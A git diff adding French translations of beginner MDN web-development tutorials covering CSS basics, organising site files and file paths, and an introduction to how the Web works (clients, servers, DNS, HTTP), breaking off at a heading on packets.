ll est recommandé d'avoir des connaissances de base en HTML avant de commencer à apprendre JavaScript. Vous devriez au moins étudier l'Introduction au HTML d'abord.

+ +

Comment saurai-je que je suis prêt à passer à autre chose ?

+ +

Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet.  En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant.

+ +

Guides fondamentaux

+ + + +

Formulaires web - Travailler avec les données des utilisateurs

+ +

Temps nécessaire: 40–50 heures

+ +

Prérequis

+ +

Les formulaires nécessitent des connaissances en HTML, CSS et JavaScript. Étant donné la complexité du travail avec les formulaires, il s'agit d'un sujet spécifique.

+ +

Comment saurai-je que je suis prêt à passer à autre chose ?

+ +

Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet.  En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant.

+ +

Guides fondamentaux

+ + + +

Faire profiter le Web à tout le monde

+ +

Temps nécessaire: 60–75 heures

+ +

Prérequis

+ +

Il est conseillé de connaître les langages HTML, CSS et JavaScript avant de parcourir cette section. De nombreuses techniques et meilleures pratiques concernent de multiples technologies.

+ +

Comment saurai-je que je suis prêt à passer à autre chose ?

+ +

Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet.  En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant..

+ +

Guides fondamentaux

+ + + +

Outils modernes

+ +

Temps nécessaire: 55–90 heures

+ +

Prérequis

+ +

Il est conseillé de connaître les langages HTML, CSS et JavaScript avant de parcourir cette section, car les outils abordés fonctionnent en parallèle avec bon nombre de ces technologies.

+ +

Comment saurai-je que je suis prêt à passer à autre chose ?

+ +

Il n'y a pas d'articles d'évaluation spécifiques dans cet ensemble de modules. Les études de cas à la fin des deuxième et troisième modules vous préparent à saisir l'essentiel des outils modernes.

+ +

Guides fondamentaux

+ + diff --git a/files/fr/learn/getting_started_with_the_web/css_basics/index.html b/files/fr/learn/getting_started_with_the_web/css_basics/index.html new file mode 100644 index 0000000000..c547529be9 --- /dev/null +++ b/files/fr/learn/getting_started_with_the_web/css_basics/index.html @@ -0,0 +1,287 @@ +--- +title: Les bases des CSS +slug: Apprendre/Commencer_avec_le_web/Les_bases_CSS +tags: + - Apprendre + - CSS + - Code CSS + - Débutant + - Styles + - Web +translation_of: Learn/Getting_started_with_the_web/CSS_basics +--- +
{{LearnSidebar}}
+{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_HTML", "Apprendre/Commencer_avec_le_web/Les_bases_JavaScript","Apprendre/Commencer_avec_le_web")}}
+ +
+

Les CSS (Cascading Style Sheets en anglais, ou « feuilles de style en cascade ») sont le code utilisé pour mettre en forme une page web. Les bases des CSS présentent ce qu'il faut savoir pour commencer. Nous répondrons à des questions comme : Comment rendre mon texte rouge ou noir ? Comment faire apparaître mon contenu à tel endroit de l'écran ? Comment décorer ma page web avec une image ou une couleur d'arrière-plan ?

+
+ +

Donc, que sont les CSS, réellement ?

+ +

De la même façon que HTML, CSS n'est pas vraiment un langage de programmation. C'est un langage de feuille de style, c'est-à-dire qu'il permet d'appliquer des styles sur différents éléments sélectionnés dans un document HTML. Par exemple, on peut sélectionner tous les éléments d'une page HTML qui sont paragraphes et afficher leurs textes en rouge avec ce code CSS :

+ +
p {
+  color: red;
+}
+ +

Faisons un essai : copiez ces trois lignes de code CSS dans un nouveau fichier dans votre éditeur de texte, puis sauvegardez le fichier sous le nom style.css dans votre répertoire styles.

+ +

Pour que cela fonctionne, il faut appliquer le CSS au document HTML, sinon la mise en forme décrite dans le fichier CSS n'affectera pas l'affichage de la page HTML dans la navigateur (si vous n'avez pas suivi toutes les étapes pour arriver ici, vous pouvez lire l'article Gérer les fichiers et Les bases du HTML pour savoir par où commencer).

+ +
    +
  1. Ouvrez votre fichier index.html et copiez la ligne suivante quelque part au sein de l'élément head (c'est-à-dire entre les balises <head> et </head>) : + + 
    <link href="styles/style.css" rel="stylesheet" type="text/css">
    +
    2. +
  2. Sauvegardez index.html puis chargez-le dans votre navigateur. Vous devriez obtenir quelque chose comme :
    3. +
+ +

A mozilla logo and some paragraphs. The paragraph text has been styled red by our css.Si le texte de votre paragraphe s'affiche en rouge, félicitations ! Vous venez d'écrire votre premier CSS fonctionnel !

+ +

Anatomie d'une règle CSS

+ +

Regardons un peu plus en détails ce que nous avons écrit en CSS :

+ +

Diagramme expliquant les différents éléments d'une déclaration CSS

+ +

Cette structure s'appelle un ensemble de règles (ou seulement « une règle »). Les différentes parties se nomment :

+ +
+
Sélecteur
+
C'est le nom de l'élément HTML situé au début de l'ensemble de règles. Il permet de sélectionner les éléments sur lesquels appliquer le style souhaité (en l'occurence, les éléments p). Pour mettre en forme un élément différent, il suffit de changer le sélecteur.
+
Déclaration
+
C'est une règle simple comme color: red; qui détermine les propriétés de l'élément que l'on veut mettre en forme.
+
Propriétés
+
Les différentes façons dont on peut mettre en forme un élément HTML (dans ce cas, color est une propriété des éléments p). En CSS, vous choisissez les différentes propriétés que vous voulez utiliser dans une règle CSS.
+
Valeur de la propriété
+
À droite de la propriété, après les deux points, on a la valeur de la propriété. Celle-ci permet de choisir une mise en forme parmi d'autres pour une propriété donnée (par exemple, il y a d'autres couleurs que red pour la propriété color).
+
+ +

Les autres éléments importants de la syntaxe sont :

+ +
    +
  • chaque ensemble de règles, à l'exception du sélecteur, doit être entre accolades ({}).
    • +
  • pour chaque déclaration, il faut utiliser deux points (:) pour séparer la propriété de ses valeurs.
    • +
  • pour chaque ensemble de règles, il faut utiliser un point-virgule (;) pour séparer les déclarations entre elles.
    • +
+ +

Ainsi, si on veut modifier plusieurs propriétés d'un coup, on peut utiliser plusieurs déclarations dans une seule règle en les séparant par des points-virgules :

+ +
p {
+  color: red;
+  width: 500px;
+  border: 1px solid black;
+}
+ +

Sélectionner plusieurs éléments

+ +

Il est aussi possible de sélectionner plusieurs types d'éléments pour appliquer à tous une même règle. Il suffit de placer plusieurs sélecteurs, séparés par des virgules. Par exemple :

+ +
p,li,h1 {
+  color: red;
+}
+ +

Les différents types de sélecteurs

+ +

Il y a différents types de sélecteurs. Dans les exemples précédents, nous n'avons vu que les sélecteurs d'élément qui permettent de sélectionner les éléments HTML d'un type donné dans un document HTML. Mais ce n'est pas tout, il est possible de faire des sélections plus spécifiques. Voici quelques-uns des types de sélecteur les plus fréquents :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nom du sélecteurCe qu'il sélectionneExemple
Sélecteur d'élément (parfois appelé « sélecteur de balise » ou « sélecteur de type »)Tous les éléments HTML d'un type donné.p
+ sélectionne tous les <p>
Sélecteur d'IDL'élément d'une page qui possède l'ID fourni (pour une page HTML donné, on ne peut avoir qu'un seul élément pour un ID donné).#my-id
+ sélectionne <p id="my-id"> ou <a id="my-id">
Sélecteur de classeLes éléments d'une page qui sont de la classe donnée (pour une page donnée, il est possible d'avoir plusieurs éléments qui partagent une même classe)..my-class
+ sélectionne <p class="my-class"> et <a class="my-class!">
Sélecteur d'attributLes éléments de la page qui possèdent l'attribut donné.img[src]
+ sélectionne <img src="monimage.png"> mais pas <img>
Sélecteur de pseudo-classeLes éléments donnés mais uniquement dans un certain état (par exemple quand on passe la souris dessus).a:hover
+ sélectionne <a> mais uniquement quand le pointeur de la souris est au-dessus du lien.
+ +

Il existe plein d'autres sélecteurs, pour tous les découvrir, vous pouvez lire notre guide sur les sélecteurs.

+ +

Les polices (fontes) et le texte

+ +

Maintenant que nous avons vu quelques bases de CSS, ajoutons quelques règles et informations à notre fichier style.css pour que notre exemple soit réussi. Tout d'abord, améliorons les polices et le texte.

+ +
    +
  1. Pour commencer, revenez quelques étapes en arrière et récupérez le résultat de Google Fonts enregistré quelque part. Ensuite, ajoutez l'élément <link ... > quelque part au sein de head dans le fichier index.html (c'est-à-dire quelque part entre les balises <head> et </head>). Ça devrait ressembler à : + + 
    <link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'>
    +
    2. +
  2. Ensuite, supprimez la règle existante dans votre fichier style.css. Cette règle était pratique pour tester mais afficher du texte en rouge n'est pas la meilleure des mises en forme.
    3. +
  3. Ajoutez les lignes suivantes à leur place, en remplaçant la ligne avec modèle avec la ligne fournie par Google Fonts qui contient font-family (font-family représente la (ou les) police(s) qu'on veut utiliser pour le texte). Ce premier ensemble de règles définit une police de base et sa taille pour toute la page (<html> est l'élément parent de tous les éléments de la page, tous les éléments contenus dans la page hériteront donc de la même font-size et font-family) : + 
    html {
+  font-size: 10px; /* px signifie 'pixels': la taille de base pour la police est désormais 10 pixels de haut  */
+  font-family: 'Open Sans', sans-serif; /* cela devrait être le reste du résultat obtenu à partir de Google fonts */
+}
    + +
    +

    Note: Tout ce qui est entre /* et */ dans un document CSS est un commentaire  de CSS.  Le navigateur l'ignorera dans le rendu du code. C'est un endroit commode pour écrire des notes à propos de ce que vous faites.

    +
    +
    4. +
  4. Ensuite, fixons les tailles des différents textes contenus dans le corps du HTML ({{htmlelement("h1")}}, {{htmlelement("li")}}, et {{htmlelement("p")}}). Nous allons également centrer le texte du titre et donner une taille de ligne et un espacement de caractère entre les lettres pour que le contenu du corps (body) du document soit plus lisible : + 
    h1 {
+  font-size: 60px;
+  text-align: center;
+}
+
+p, li {
+  font-size: 16px;
+  line-height: 2;
+  letter-spacing: 1px;
+}
    +
    5. +
+ +

Vous pouvez ajuster ces valeurs en px comme vous voulez pour que le style obtenu soit celui que vous souhaitez. Vous devriez obtenir quelque chose comme ça :

+ +

a mozilla logo and some paragraphs. a sans-serif font has been set, the font sizes, line height and letter spacing are adjusted, and the main page heading has been centered

+ +

Boîtes, boîtes, encore et toujours des boîtes

+ +

Vous verrez rapidement qu'avec les CSS, tout tourne autour de boîtes : définir leurs tailles, leurs couleurs, leurs positions, etc. Les éléments HTML d'une page peuvent, pour la plupart, être vus comme des boîtes placées les unes sur les autres.

+ +

a big stack of boxes or crates sat on top of one another

+ +

C'est pour cette raison que l'architecture de CSS est principalement basée sur un modèle de boîtes. Chacun de ces blocs prend un certain espace sur la page, de cette façon :

+ +
    +
  • padding, l'espace autour, proche du contenu (par exemple, l'espace autour du texte d'un paragraphe) (en français, on pourrait traduire cela par du « remplissage » mais le terme padding étant communément utilisé lorsqu'on parle de CSS, on continuera à utiliser ce terme)
    • +
  • border, la ligne qui est juste autour du padding (en français cela correspond à la bordure)
    • +
  • margin, l'espace extérieur, autour de l'élément (en français cela correspond à la marge)
    • +
+ +

three boxes sat inside one another. From outside to in they are labelled margin, border and padding

+ +

Dans cette section, nous utilisons aussi :

+ +
    +
  • width (la largeur de l'élément)
    • +
  • background-color, la couleur derrière le contenu de l'élément et son padding
    • +
  • color, la couleur du contenu de l'élément (généralement du texte)
    • +
  • text-shadow, affiche une ombre portée sur le texte à l'intérieur de l'élément
    • +
  • display, définit le mode d'affichage d'un élément (on ne s'occupera pas de cette propriété pour le moment)
    • +
+ +

Allons-y : ajoutons un peu plus de CSS à notre page ! Continuez d'ajouter ces nouvelles règles à la suite des autres. N'ayez pas peur d'expérimenter et de tester différentes valeurs pour voir ce qu'elles font.

+ +

Changer la couleur de la page

+ +
html {
+  background-color: #00539F;
+}
+ +

Cette règle permet de définir la couleur utilisée en arrière-plan pour toute la page. Vous pouvez ici utiliser la valeur que vous aviez choisie lors de la conception de votre site.

+ +

Mettre en forme le corps de page

+ +
body {
+  width: 600px;
+  margin: 0 auto;
+  background-color: #FF9500;
+  padding: 0 20px 20px 20px;
+  border: 5px solid black;
+}
+ +

Occupons-nous de l'élément body. Cet ensemble de règles contient plusieurs déclarations, étudions les, une par une :

+ +
    +
  • width: 600px; — cette déclaration impose une largeur de 600 pixels pour le corps de la page.
    • +
  • margin: 0 auto; — Ici on a deux valeurs pour la propriété. Lorsqu'on utilise deux valeurs sur une propriété comme margin ou padding, la première valeur est utilisée pour le haut et le bas de l'élément (dans ce cas : 0) et la seconde valeur est utilisée pour les côtés gauche et droit (la valeur auto qu'on utilise ici est une valeur spéciale qui divise l'espace horizontal disponible en parts égales entre la gauche et la droite. Il est aussi possible d'utiliser une, trois ou quatre valeurs, pour plus d'informations, voir cet article qui explique comment cela fonctionne.
    • +
  • background-color: #FF9500; — comme on l'a vu auparavant, cela permet de définir la couleur utilisée en arrière-plan. Ce code couleur correspond à un rouge orangé qui sera utilisé pour le corps de la page, cela permettra d'avoir un contraste avec le bleu foncé utilisé pour l'élément html. N'hésitez pas à modifier cette valeur pour voir ce que ça donne, vous pouvez utiliser white ou une autre valeur si vous préférez.
    • +
  • padding: 0 20px 20px 20px; — ici on a quatre valeurs pour le padding afin de créer un peu d'espace autour du contenu. On n'a donc aucun espace pour le padding en haut du corps de la page, on a 20 pixels à gauche, en bas et à droite. Dans l'ordre, les valeurs correspondent au haut, à la droite, au bas et à la gauche.
    • +
  • border: 5px solid black; — cette déclaration permet d'utiliser une bordure pleine, large de 5 pixels pour entourer tout le corps de la page.
    • +
+ +

Positionner le titre et le mettre en forme

+ +
h1 {
+  margin: 0;
+  padding: 20px 0;
+  color: #00539F;
+  text-shadow: 3px 3px 1px black;
+}
+ +

Vous avez du remarquer qu'il y a un espace horrible en haut du corps de la page. Cela est dû au fait que les navigateurs appliquent un style par défaut à l'élément {{htmlelement("h1")}} (entre autres), même quand vous n'avez défini aucune règle CSS ! À première vue, on pourrait penser que c'est une mauvaise idée et que ce n'est pas au navigateur de décider de la mise en forme. Toutefois, il est préférable que n'importe quelle page, même celles qui n'utilisent pas de CSS, puissent être lisibles et que le lecteur puisse distinguer un titre d'un paragraphe. Pour se débarrasser de cet espace, on « surcharge » le style par défaut avec une marge nulle grâce à margin: 0;.

+ +

Ensuite, nous ajoutons 20 pixels de padding en haut et en bas du titre et on prend la même couleur pour la police que celle utilisée pour l'arrière-plan de html.

+ +

Une propriété intéressante qu'on a utilisé ici est text-shadow. Cette propriété permet d'applique une ombre au contenu de l'élément. La déclaration utilise quatre valeurs :

+ +
    +
  • La première correspond au décalage horizontal, exprimé en pixels, de l'ombre par rapport au texte. Autrement dit, plus la valeur est élevée, plus l'ombre porte loin. Une valeur négative déplace l'ombre vers la gauche.
    • +
  • La deuxième valeur correspond au décalage vertical entre l'ombre et le texte. Autrement dit, plus la valeur est élevée, plus l'ombre va vers le bas. Une valeur négative déplace l'ombre vers le haut.
    • +
  • La troisième valeur correspond au rayon de flou pour l'ombre, exprimé en pixel. Autrement dit, plus la valeur est élevée, plus l'ombre sera floue.
    • +
  • La quatrième valeur définit la couleur utilisée pour l'ombre.
    • +
+ +

Là aussi, n'hésitez pas à expérimenter et à essayer différentes valeurs pour voir ce que ça donne.

+ +

Centrer l'image

+ +
img {
+  display: block;
+  margin: 0 auto;
+}
+ +

Dernière chose : on va centrer l'image pour que ce soit plus joli. On pourrait utiliser margin: 0 auto, comme on l'a fait avant, mais on a besoin d'autre chose. L'élément body est un élément de bloc, cela signifie qu'il prend de l'espace et qu'on peut lui appliquer des marges et d'autres valeur pour l'espacement. En revanche, les images sont des éléments inline (ce qu'on pourrait traduire par « en ligne »), ce qui signifie qu'on ne peut pas leur appliquer ces valeurs d'espacement. Pour pouvoir appliquer des marges sur l'image comme pour un bloc, on utilise display: block; pour que l'image se comporte comme un élément de bloc.

+ +
+

Note : C'est tout à fait normal si vous ne comprenez pas complètement display: block; et les différences entre bloc et inline. Ça viendra plus tard, une fois que vous aurez plus utilisé CSS. Les différentes valeurs qu'on peut utiliser pour display sont expliquées sur la page de référence de la propriété display.

+
+ +

Conclusion

+ +

Si vous avez suivi les différentes étapes de cet article, vous devriez obtenir une page qui ressemble à celle-ci (vous pouvez aussi voir notre version finale ici) :

+ +

a mozilla logo, centered, and a header and paragraphs. It now looks nicely styled, with a blue background for the whole page and orange background for the centered main content strip.

+ +

Si vous êtes bloqué·e quelque part, vous pouvez toujours comparer votre travail avec le code final de cet exemple disponible sur GitHub.

+ +

Dans cet article, nous n'avons fait qu'effleurer les bases de CSS. Pour continuer et en apprendre plus, vous pouvez vous rendre sur la page Apprendre CSS.

+ +

{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_HTML", "Apprendre/Commencer_avec_le_web/Les_bases_JavaScript","Apprendre/Commencer_avec_le_web")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/getting_started_with_the_web/dealing_with_files/index.html b/files/fr/learn/getting_started_with_the_web/dealing_with_files/index.html new file mode 100644 index 0000000000..b2dc72e8de --- /dev/null +++ b/files/fr/learn/getting_started_with_the_web/dealing_with_files/index.html @@ -0,0 +1,113 @@ +--- +title: Gérer les fichiers +slug: Apprendre/Commencer_avec_le_web/Gérer_les_fichiers +tags: + - Création site + - Débutant + - Fichiers + - Guide + - HTML + - Site Web + - Theorie +translation_of: Learn/Getting_started_with_the_web/Dealing_with_files +--- +
{{LearnSidebar}}
+{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site", "Apprendre/Commencer_avec_le_web/Les_bases_HTML","Apprendre/Commencer_avec_le_web")}}
+ +
+

Un site web est composé de nombreux fichiers : contenu textuel, code, feuilles de styles, contenus média, etc. Lors de la construction d'un site web, ces fichiers doivent être organisés et rangés sur votre ordinateur afin qu'ils puissent interagir les uns avec les autres et que le contenu s'affiche correctement. Une fois que c'est fait, vous pourrez alors téléverser ces fichiers sur un serveur. Gérer les fichiers aborde certains problèmes auxquels vous devez faire attention pour mettre en place une organisation judicieuse des fichiers de votre site web.

+
+ +

Où placer votre site web sur votre ordinateur ?

+ +

Lorsque vous travaillez sur votre site web sur votre propre ordinateur, tous les fichiers liés au site devraient être présents dans un dossier dont le contenu reflète la structure des fichiers sur le serveur. Ce dossier peut être n'importe où sur votre ordinateur, l'idéal étant qu'il soit simple à retrouver, par exemple sur votre Bureau ou dans votre dossier personnel, voire à la racine du disque dur.

+ +
    +
  1. Sélectionnez un endroit où stocker vos projets de sites web. Là, créez un nouveau dossier appelé projets-web (ou similaire). C'est l'endroit où vivront vos divers projets de sites web.
    2. +
  2. À l'intérieur de ce premier dossier, créez un autre dossier pour y enregistrer votre premier site web. Vous pouvez l'appeler site-test (ou plus imaginatif).
    3. +
+ +

Un rapide aparté sur la casse et l'espacement

+ +

Vous remarquerez tout au long de cet article que nous vous demandons de nommer les dossiers et les fichiers totalement en minuscules et sans espace. Voici la raison :

+ +
    +
  1. Nombre d'ordinateurs, notamment des serveurs web, sont sensibles à la casse. Par exemple, si vous placez une image pour votre site à l'emplacement site-test/MonImage.jpg et que, dans un autre fichier, vous faites référence à site-test/monimage.jpg, cela peut ne pas fonctionner.
    2. +
  2. Les navigateurs, les serveurs web et les différents langages de programmation ne gèrent pas tous les espaces de la même façon. Par exemple, si vous utilisez un espace dans le nom du fichier, certains systèmes considèreront que le nom du fichier correspond à celui de deux fichiers. Certains serveurs remplaceront les espaces dans le nom du fichier par « %20 » (le code de caractère pour représenter les espaces dans les URI), ce qui cassera tous vos liens. Il est préférable de séparer les mots avec des tirets, plutôt que des soulignés : mon-fichier.html vs. mon_fichier.html.
    3. +
+ +

La réponse la plus simple est d'utiliser le trait d'union (-) pour les noms de fichiers. Le moteur de recherche de Google traite le tiret comme un séparateur de mots, mais n'opère pas de même pour le souligné (_). Pour ces raisons, il est préférable d'écrire les noms des fichiers et dossiers en minuscules sans espaces, les mots étant séparés par des tirets, à moins d'être sûr de ce que vous faites. Cela vous permettra d'éviter certains problèmes en chemin, plus tard.

+ +

Quelle structure mettre en place pour votre site web ?

+ +

Cela dit, regardons la structure que le site de test devrait avoir. Les éléments retrouvés quasiment dans tout projet de site web sont un fichier HTML d'index, des dossiers pour les images, les scripts et les feuilles de style. Créons‑les maintenant :

+ +
    +
  1. index.html : ce fichier contiendra généralement le contenu de votre page d'accueil, c'est-à-dire le texte et les images que les gens verront lorsqu'ils arriveront sur votre site. Avec votre éditeur de texte, créez un fichier nommé index.html puis enregistrez‑le dans votre dossier site-test.
    2. +
  2. un dossier images : ce dossier contiendra toutes les images utilisées pour votre site. Créez un dossier nommé images dans votre dossier site-test.
    3. +
  3. un dossier styles : ce dossier contiendra le code des CSS utilisé pour la mise en forme du contenu (par exemple pour définir les couleurs à utiliser pour le texte et l'arrière-plan). Créez un dossier nommé styles dans votre dossier site-test.
    4. +
  4. un dossier scripts : ce dossier contiendra le code JavaScript utilisé pour ajouter des fonctionnalités interactives sur votre site (par exemple, des boutons qui permettent de charger des données lorsqu'on clique dessus). Créez un dossier nommé scripts dans votre dossier site-test.
    5. +
+ +
+

Note : Sur Windows, vous aurez peut être des problèmes pour voir le nom des fichiers en entier. En effet, Windows possède une option, activée par défaut : Masquer les extensions pour les types de fichiers connus. Généralement, il est possible de la désactiver en allant dans l'explorateur de fichiers, en sélectionnant   Options des dossiers..., en enlevant la coche de Masquer les extensions pour les types de fichier connus puis en cliquant sur OK. Pour des informations propres à votre version de Windows, recherchez sur le Web !

+
+ +

Les chemins de fichiers

+ +

Pour que les fichiers puissent converser entre eux, il faut préciser le chemin pour les trouver — en résumé, la route qu'un fichier doit connaître pour situer l'autre fichier. Nous allons illustrer cela avec un peu de HTML dans index.html pour que la page affiche l'image choisie dans l'article « Quel aspect pour votre site web ? ».

+ +
    +
  1. Copiez l'image précédemment choisie dans votre dossier images.
    2. +
  2. Ouvrez le fichier index.html et insérez le code suivant exactement comme indiqué. Ne vous préoccupez pas de sa signification pour le moment — nous verrons les structures plus en détail par la suite. + 
    <!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <title>Ma page de test</title>
+  </head>
+  <body>
+    <img src="" alt="Mon image de test">
+  </body>
+</html>
    +
    3. +
  3. La ligne qui contient <img src="" alt="Mon image de test"> correspond au code HTML qui insère une image dans la page. Il faut indiquer au HTML là où l'image se trouve. Cette image est à l'intérieur du dossier images et ce dossier se situe dans le même dossier qu'index.html. Pour parcourir l'arborescence des fichiers depuis index.html jusqu'à l'image, le chemin à utiliser est images/votre‑fichier‑image. Par exemple, si l'image est nommée firefox‑icon.png, le chemin sera images/firefox-icon.png.
    4. +
  4. Insérez le chemin vers le fichier image dans le code HTML, entre les guillemets dans src="".
    5. +
  5. Sauvegardez votre fichier HTML puis chargez la page dans votre navigateur (il suffit de double-cliquer sur le fichier). Vous devriez obtenir une nouvelle page web affichant l'image !
    6. +
+ +

A screenshot of our basic website showing just the firefox logo - a flaming fox wrapping the world

+ +

Quelques règles générales à propos des chemins de fichier :

+ +
    +
  • Pour utiliser un fichier qui est dans le même répertoire que le fichier HTML, il suffit d'utiliser le nom du fichier pour le chemin (par exemple mon-image.jpg).
    • +
  • Pour faire référence à un fichier dans un sous‑répertoire, on écrira le nom du répertoire, suivi d'une barre oblique (/) suivi du nom du fichier. Par exemple : mon-sous-repertoire/mon-image.jpg.
    • +
  • Pour faire référence à un fichier qui se situe dans le répertoire parent par rapport au fichier HTML, il faut écrire deux points (..). Par exemple, si votre fichier index.html se situe dans un sous-dossier de site-test et que mon-image.jpg se situe à l'intérieur de site-test, vous pouvez faire référence à votre image mon-image.jpg depuis index.html en écrivant ../mon-image.jpg.
    • +
  • Ces différentes règles peuvent être combinées autant que nécessaire : par exemple ../sous-dossier/autre-sous-dossier/mon-image.jpg.
    • +
+ +

Pour le moment, c'est tout ce qu'il y a à savoir.

+ +
+

Note : Le système de fichiers Windows utilise des barres obliques inversées (backslash : « \ ») et non des barres obliques (slash : « / »), par exemple C:\windows. Cela n'intervient pas en HTML — même si vous développez votre site sur Windows, vous devez toujours utiliser des barres obliques  (« / ») dans votre code..

+
+ +

Autre chose ?

+ +

C'est tout ce qu'il y a à faire pour le moment en ce qui concerne les fichiers. Votre arborescence de fichiers devrait ressembler à cela :

+ +

A file structure in mac os x finder, showing an images folder with an image in, empty scripts and styles folders, and an index.html file{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site", "Apprendre/Commencer_avec_le_web/Les_bases_HTML","Apprendre/Commencer_avec_le_web")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/getting_started_with_the_web/how_the_web_works/index.html b/files/fr/learn/getting_started_with_the_web/how_the_web_works/index.html new file mode 100644 index 0000000000..bc98c99021 --- /dev/null +++ b/files/fr/learn/getting_started_with_the_web/how_the_web_works/index.html @@ -0,0 +1,111 @@ +--- +title: Le fonctionnement du Web +slug: Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web +tags: + - Apprendre + - Client + - DNS + - Débutant + - HTTP + - IP + - Infrastructure + - Serveur + - TCP + - Web +translation_of: Learn/Getting_started_with_the_web/How_the_Web_works +--- +
{{LearnSidebar}}
+{{PreviousMenu("Apprendre/Commencer_avec_le_web/Publier_votre_site_web","Apprendre/Commencer_avec_le_web")}}
+ +
+

Cet article illustre, de façon simplifiée, ce qui se passe quand une page web s'affiche dans un navigateur, sur votre ordinateur ou votre téléphone.

+
+ +

Ces éléments théoriques ne sont pas strictement nécessaires pour commencer à faire du développement web dans un premier temps. Cependant, ils seront plus qu'utiles pour mieux comprendre comment le Web fonctionne en arrière-plan.

+ +

Des clients et des serveurs

+ +

Les ordinateurs qui se connectent au Web sont appelés des clients et des serveurs. Voici un diagramme simplifié qui illustre comment ils interagissent :

+ +

+ +
    +
  • Les clients correspondent aux appareils des utilisateurs connectés sur Internet (par exemple, votre ordinateur connecté par Wi-Fi ou votre téléphone connecté sur le réseau mobile) et aux logiciels d'accès au web (par exemple, les navigateurs comme Firefox ou Chrome).
    • +
  • Les serveurs sont des ordinateurs qui stockent des pages web, des sites ou des applications. Lorsqu'un appareil « client » souhaite accéder à une page web, une copie de la page est téléchargée depuis le serveur vers le client, la machine utilisée affiche alors le contenu dans le navigateur web de l'utilisateur.
    • +
+ +

Les autres composants du Web

+ +

Le client et le serveur ne sont pas les seuls éléments qui interviennent. Il y a beaucoup d'autres composants que nous allons décrire dans la suite de cet article.

+ +

Faisons un parallèle entre le Web et une rue. D'un côté de la rue, il y a une maison qui correspond au client. De l'autre côté,  un magasin correspondant au serveur, et dans lequel vous souhaitez acheter quelque chose.

+ +

+ +

En plus du client et du serveur, nous devons aussi mentionner :

+ +
    +
  • la connexion Internet : elle permet l'envoi et la réception de données sur le web. Dans notre comparaison, elle correspond à la rue entre la maison et le magasin.
    • +
  • TCP/IP : Transmission Control Protocol / Internet Protocol (en français : protocole de contrôle de transmission et protocole Internet) sont des protocoles définissant comment les données voyagent sur le web. C'est comme les mécanismes de transport qui vous permettent de passer une commande, d'aller au magasin et d'acheter vos marchandises. Dans notre exemple, ce serait une voiture ou un vélo (ou quoi que ce soit d'autre que vous trouveriez).
    • +
  • DNS : Domain Name System (serveur de noms de domaines) est une sorte d'annuaire pour sites web. Lorsque vous saisissez une adresse dans le navigateur, ce dernier consulte le DNS pour trouver l'adresse réelle du site web avant de la récupérer. Le navigateur a besoin de savoir sur quel serveur le site web est situé pour pouvoir envoyer des requêtes HTTP au bon endroit (voir ci-après). Cela correspond à la recherche de l'adresse du magasin pour pouvoir vous y rendre.
    • +
  • HTTP : HyperText Transfer Protocol (protocole de transfert hypertexte) est un {{Glossary("Protocol" , "protocole")}} d'application définissant le language de communication entre les clients et les serveurs. C'est la langue utilisée pour commander vos produits.
    • +
  • les fichiers composants : un site web est constitué de divers fichiers. Ils peuvent être vus comme diverses parties des produits achetés au magasin. Ces fichiers peuvent être rangés dans deux catégories : +
      +
    • les fichiers de code : les sites web sont constitués essentiellement de HTML, de CSS et de JavaScript (nous découvrirons d'autres technologies plus tard).
      • +
    • les ressources : ce vocable recouvre tous les autres matériaux utilisés pour construire un site web : images, musiques, vidéos, documents Word et PDF.
      • +
    +
    • +
+ +

Donc que se passe-t-il, exactement ?

+ +

Lorsque vous saisissez une adresse web dans votre navigateur (dans notre comparaison, c'est comme aller au magasin) :

+ +
    +
  1. le navigateur demande au DNS l'adresse réelle du serveur contenant le site web (vous trouvez l'adresse du magasin).
    2. +
  2. le navigateur envoie une requête HTTP au serveur pour lui demander d'envoyer une copie du site web au client (vous allez au magasin et vous passez commande). Ce message, et les autres données envoyées entre le client et le serveur, sont échangés par l'intermédiaire de la connexion internet en utilisant TCP/IP.
    3. +
  3. si le serveur accepte la requête émise par le client, le serveur envoie un message « 200 OK » au client qui signifie : « Pas de problème, tu peux consulter ce site web, le voici ». Ensuite le serveur commence à envoyer les fichiers du site web au navigateur sous forme d'une série de petits morceaux nommés "paquet" (le magasin vous livre les produits et vous les ramenez chez vous).
    4. +
  4. le navigateur assemble les différents morceaux pour recomposer le site web en entier puis l'affiche sur votre écran (les produits sont à votre porte —  des nouveaux trucs tout neufs, génial !).
    5. +
+ +

Des explications sur le DNS

+ +

Les vraies adresses Web ne sont pas les chaînes agréables et mémorisables que vous tapez dans votre barre d'adresse pour trouver vos sites Web favoris, mais des suites de chiffres. Ces suites de chiffre sont des nombres spéciaux qui ressemblent à ceci : 63.245.208.195.

+ +

Ce sont des {{Glossary("IP Address", "adresses IP")}} ; elles représentent un endroit unique sur le Web. Par contre, elles ne sont pas très faciles à retenir (n'est‑ce pas ?). C'est pour cela que le système des noms de domaine (DNS) a été conçu. Les serveurs DNS sont des serveurs spéciaux qui font correspondre une adresse web saisie dans le navigateur (par exemple « mozilla.org ») avec l'adresse réelle (IP) du serveur du site.

+ +

Il est possible d'atteindre directement les sites web en utilisant leurs adresses IP. Pour aller sur le site de Mozilla, vous pouvez saisir 63.245.215.20 dans la barre d'adresse d'un nouvel onglet de votre navigateur.

+ +

A domain name is just another form of an IP address

+ +

Explications sur les paquets

+ +

